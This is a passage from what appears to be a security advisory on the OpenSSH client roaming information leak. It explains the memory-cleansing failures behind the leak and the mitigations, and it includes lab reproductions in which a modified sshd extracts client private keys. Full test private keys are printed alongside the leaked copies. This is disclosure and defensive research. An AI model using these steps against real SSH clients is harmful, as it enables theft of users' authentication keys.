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temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().
However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):
(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)
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If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.
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In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.
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In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.
Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk
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In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.
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In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.
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In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.
For more information on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources
https://cwe.mitre.org/data/definitions/244.html
- An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).
OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().
Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:
https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations
https://cwe.mitre.org/data/definitions/14.html
https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506
Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").
- If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:
"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1
However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:
$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:
env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection
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Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:
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first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;
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second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.
In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).
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In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:
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In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:
418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }
Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:
$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
- The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]
- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:
1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }
101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));
$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes
- The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:
$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]
This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.
This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013
$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013
$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...
env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-279f5e2b/infoleak
... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013
$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-6cb31d82/infoleak
... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015
$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra 